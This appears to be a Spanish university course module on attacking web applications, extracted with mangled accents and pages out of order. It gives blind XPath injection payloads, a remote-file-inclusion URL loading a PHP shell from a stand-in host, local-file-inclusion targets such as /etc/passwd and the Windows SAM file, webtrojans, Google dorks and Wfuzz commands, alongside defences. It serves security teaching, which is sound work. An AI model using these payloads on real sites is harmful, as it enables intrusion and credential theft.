Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a
descargar y lo enviacutea al cliente
El concepto tras ambos fallos es el mismo y las implementaciones defectuo-
sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera
satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-
ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior
usando los caracteres en sistemas Linux o en sistemas Windows maacutes
el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-
pechamos que la siguiente URL tiene un fallo de local file inclusion
httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp
Entonces para corroborarlo y determinar que efectivamente nos encontramos
frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que
quedase como sigue
httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp
Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-
nerable a local file inclusion
Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el
concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten
web y empezar a incluir ficheros del propio sistema operativo Esto nos per-
mitiraacute obtener maacutes informacioacuten sobre el equipo
Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path
Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican
estos De todas maneras y si no sabemos la ruta relativa de un fichero frente
a la paacutegina vulnerable podemos usar las rutas directas4
Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica
dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-
tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros
como muestra de la informacioacuten que podemos llegar a obtener
bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-
pendio de los usuarios existentes asiacute como datos relativos a ellos como
nombre o directorio del home
bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele
contener una lista de nombre e IPS internos que nos permiten obtener una
mejor idea de la estructura interna de una organizacioacuten
bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres
de usuarios y claves de los usuarios de un sistema Windows En la carpeta
(4)Una ruta directa es la que inclu-ye todo el nombre del fichero
CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web
Repair se almacena una copia del fichero SAM para poder recuperarla en
caso de error del sistema
bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero
vulnerable mediante el fallo de local file inclusion para poder aprender de
los problemas de otros
Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en
montar el servidor con el miacutenimo privilegio posible limitando la posibilidad
de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-
gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios
de la aplicacioacuten
Figura 44 Ejemplo de local file inclusion
Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-
larlo mediante permisos en el servidor hay que tener en cuenta que las rutas
a ficheros se pueden escribir de dos maneras
bull Directa Escribimos la ruta donde se encuentra el fichero directamente
Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados
por los usuarios
bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores
mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes
de lo anterior los puntos
43 Webtrojans
Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente
complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos
en PDF ficheros de viacutedeo etc
Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos
enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un
fichero con una imagen es necesario comprobar que lo que recibimos es real-
mente una imagen y no otro tipo de fichero
CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web
Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando
en nuestro servidor un fichero malintencionado conocido como webtrojan5
Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-
quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen
desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo
dentro de otros ficheros
El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras
una cabecera de una imagen donde algunos servidores son capaces de ejecutar
el coacutedigo
Figura 45 Webtrojan oculto dentro de un fichero GIF
En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor
de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para
subir cualquier tipo de fichero
Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-
tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo
que nosotros hemos permitido Una buena praacutectica es la de establecer noso-
tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben
evitando que alguien pueda subir un fichero y establecerlo con extensiones
como ASP o PHP
(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad
CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web
5 Google Hacking
Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas
privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea
accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general
los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus
propietarios saben que se encuentra ahiacute
Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la
informacioacuten que nos interesa es muy importante permitieacutendonos recopilar
mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio
ninguna peticioacuten al servidor en cuestioacuten
Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-
mos realizar y que combinados unos con otros alcanzan una potencia mucho
mayor
bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia
obligatoria de esta palabra en las paacuteginas devueltas
bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye
todos los resultados que contengan esa palabra
bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas
completas de texto dentro de los resultados
bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-
quier palabra dentro de una frase entrecomillada
bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina
bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina
bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas
bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-
cada
bull domainltdominiogt Limita los resultados al dominio especificado Se
puede usar solo el identificador del paiacutes (como es)
Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier
cosa que esteacute en Internet
CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web
Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo
Google Hacking Database es una base de datos de buacutesquedas de corroborada
eficacia que permite obtener datos interesantes referentes a ficheros de confi-
guracioacuten zonas privadas dispositivos conectados a la red software vulnera-
ble etc
Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos
de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar
subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a
realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas
Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
